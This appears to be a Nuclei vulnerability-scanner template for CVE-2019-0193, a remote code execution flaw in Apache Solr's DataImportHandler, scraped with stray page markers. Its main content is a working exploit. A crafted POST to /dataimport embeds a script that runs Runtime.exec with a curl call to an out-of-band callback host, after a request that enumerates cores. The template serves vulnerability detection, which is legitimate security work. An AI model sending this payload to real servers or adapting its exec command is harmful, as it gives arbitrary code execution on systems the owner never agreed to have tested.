48 lines
2.2 KiB
YAML
48 lines
2.2 KiB
YAML
|
id: CVE-2019-0193
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Apache Solr - DataImportHandler RCE
|
||
|
|
description: In Apache Solr, the DataImportHandler, an optional but popular module to pull in data from databases and other sources, has a feature in which the whole DIH configuration can come from a request's "dataConfig" parameter. The debug mode of the DIH admin screen uses this to allow convenient debugging / development of a DIH config. Since a DIH config can contain scripts, this parameter is a security risk. Starting with version 8.2.0 of Solr, use of this parameter requires setting the Java System property "enable.dih.dataConfigParam" to true.
|
||
|
|
author: pdteam
|
||
|
|
severity: critical
|
||
|
|
refrense: |
|
||
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-0193
|
||
|
|
- https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-0193
|
||
|
|
- https://paper.seebug.org/1009/
|
||
|
|
tags: cve,cve2019,apache,rce,solr,oob
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- raw:
|
||
|
|
- |
|
||
|
|
GET /solr/admin/cores?wt=json HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Accept-Language: en
|
||
|
|
Connection: close
|
||
|
|
|
||
|
|
- |
|
||
|
|
POST /solr/{{core}}/dataimport?indent=on&wt=json HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
Content-type: application/x-www-form-urlencoded
|
||
|
|
X-Requested-With: XMLHttpRequest
|
||
|
|
|
||
|
|
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22curl%20http://{{interactsh-url}}%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
|
||
|
|
|
||
|
|
extractors:
|
||
|
|
- type: regex
|
||
|
|
internal: true
|
||
|
|
name: core
|
||
|
|
group: 1
|
||
|
|
regex:
|
||
|
|
- '"name"\:"(.*?)"'
|
||
|
|
|
||
|
|
matchers-condition: and
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
||
|
|
words:
|
||
|
|
- "http"
|
||
|
|
|
||
|
|
- type: status
|
||
|
|
status:
|
||
|
|
- 200
|